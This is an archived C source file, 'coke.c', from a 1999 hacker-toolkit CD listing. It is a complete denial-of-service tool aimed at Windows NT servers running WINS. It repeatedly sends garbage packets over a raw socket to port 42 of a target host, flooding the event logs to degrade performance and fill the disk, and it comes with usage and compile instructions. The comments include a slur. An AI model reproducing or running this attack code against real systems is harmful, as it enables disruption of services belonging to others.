home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / coke.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  4KB  |  172 lines

  1.  
  2. /*  coke.c - [ http://www.rootshell.com/ ] */
  3.  
  4. /*  coke +0.34 by crank and phuzz
  5.  
  6.     this little program exploits windowsnt servers 3.51/4.0 which
  7.     are running wins (windows internet name service).
  8.  
  9.     depending on how the systems logging is configured it will create
  10.     errors in the event logs, which will cause in a lack of the systems
  11.     preformance, as well as available hard disk space.
  12.  
  13.     i've known about this exploit for sometime now, and thought everyone
  14.     else did. but i never have seen anything for it. so here it is.
  15.  
  16.     coderight: you may use any code shown as long as credit is given.
  17.  
  18.     credit goes to: 
  19.           neonsurge who discovered this.
  20.           justin marcus who also discovered this.
  21.  
  22.     tested on:
  23.               slackware    kernel 2.0.32
  24.                            kernel 2.0.33 
  25.               debian       kernel 2.0.33 
  26.               redhat       kernel 2.1.95
  27.     
  28.     compile: gcc -o coke coke.c
  29. */
  30.  
  31. #include <stdio.h>
  32. #include <netdb.h>
  33. #include <errno.h>
  34. #include <string.h>
  35. #include <stdlib.h>
  36. #include <unistd.h>
  37. #include <sys/socket.h>
  38. #include <netinet/in.h>
  39.  
  40. /* defines */
  41.  
  42. #define GARBAGE "just a bunch of crap really does not matter"
  43. #define VERSION "+0.34"
  44.  
  45. /* variables */
  46.  
  47. char    *buf, *hn;
  48. int    s, soc, con, i;
  49. int    count, x;
  50. int    twirl = 3;
  51. int    countstr = 0;
  52.  
  53. /* prototypes */
  54.  
  55. int    twirly(int *twirl);
  56. void    usage(char *argv[]);
  57. int    main(int argc, char *argv[]);
  58. int    sendPacket(char *buf, char *argv[]);
  59.  
  60. /* structures */
  61.  
  62. struct    sockaddr_in blah;
  63. struct    hostent *hp;
  64.  
  65. /* let the fun begin */
  66. int    main(int argc, char *argv[])
  67. {
  68.     if (argc < 3)
  69.     {
  70.         usage(argv);
  71.     }
  72.     /*  create the garbage */
  73.     buf = (char *)malloc(10000); 
  74.  
  75.     for (i = 0; i < 25; i++) 
  76.         strcat(buf, GARBAGE);
  77.     strcat(buf, "\n");
  78.  
  79.     printf("coke %s     crank|phuzz\n\n",VERSION);
  80.  
  81.     sendPacket(buf,argv);
  82.  
  83.     for (x = 0; x <= count; x++)
  84.     {
  85.         sendPacket(buf,argv);
  86.  
  87.         /* just purdy stuff */
  88.         fprintf(stderr, "\rsending packet: %d (%c)", x, twirly(&twirl));
  89.         if (count <= 200)
  90.             usleep(1500*(10));
  91.         else
  92.             usleep(700*(10));
  93.  
  94.         /* lets send the garbage to the server */
  95.     }
  96.     fprintf(stderr, "\rsending packet: %d (caffine will kill you)",--x);
  97.     printf("\n");
  98.  
  99.     close(soc);
  100.  
  101.     /* free up our memory like good programmers */
  102.     free(buf);
  103.  
  104.     /* done so we wont reach the end of a non-void function */
  105.     exit(0);
  106. }
  107.  
  108. int    sendPacket(char *buf, char *argv[])
  109. {
  110.     hn = argv[1];
  111.     hp = gethostbyname(hn);
  112.  
  113.     /* number of packets to send */
  114.     count=(atoi(argv[2]));
  115.  
  116.     /*  check target */
  117.     if (hp==NULL)
  118.     {
  119.         perror("coke: gethostbyname()");
  120.         exit(0);
  121.     }
  122.  
  123.     bzero((char*)&blah, sizeof(blah));
  124.     bcopy(hp->h_addr, (char *)&blah.sin_addr, hp->h_length);
  125.  
  126.     blah.sin_family = hp->h_addrtype;
  127.     blah.sin_port = htons(42); 
  128.     
  129.     /*  create a socket */
  130.     soc = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  131.  
  132.     if (!soc)
  133.     {
  134.         perror("coke: socket()");
  135.         close(soc);
  136.         exit(1);
  137.     }
  138.  
  139.     /*  connect to target */
  140.     con = connect(soc, (struct sockaddr *)&blah, sizeof(blah)); 
  141.  
  142.     if (!con)
  143.     {
  144.         perror("coke: connect()");
  145.         close(soc);
  146.         exit(1);
  147.     } 
  148.     sendto(soc, buf, strlen(buf),0 ,(struct sockaddr *)&blah, sizeof(struct sockaddr));
  149.     close(soc);
  150.     return(0);
  151. }
  152.  
  153. int    twirly(int *twirl)
  154. {
  155.     if (*twirl > 3) *twirl = 0;
  156.     switch ((*twirl)++)
  157.     {
  158.         case 0: return('|'); break; case 1: return('/'); break;
  159.         case 2: return('-'); break; case 3: return('\\'); break;
  160.     }
  161.     return(0);
  162. }
  163.  
  164. /* for retards */
  165. void    usage(char *argv[])
  166. {
  167.         printf("coke %s     crank|phuzz\n\nusage: %s <target> <number of packets to send>\n",VERSION,argv[0]);
  168.     exit(0);
  169. }
  170.  
  171. /* EOF */
  172.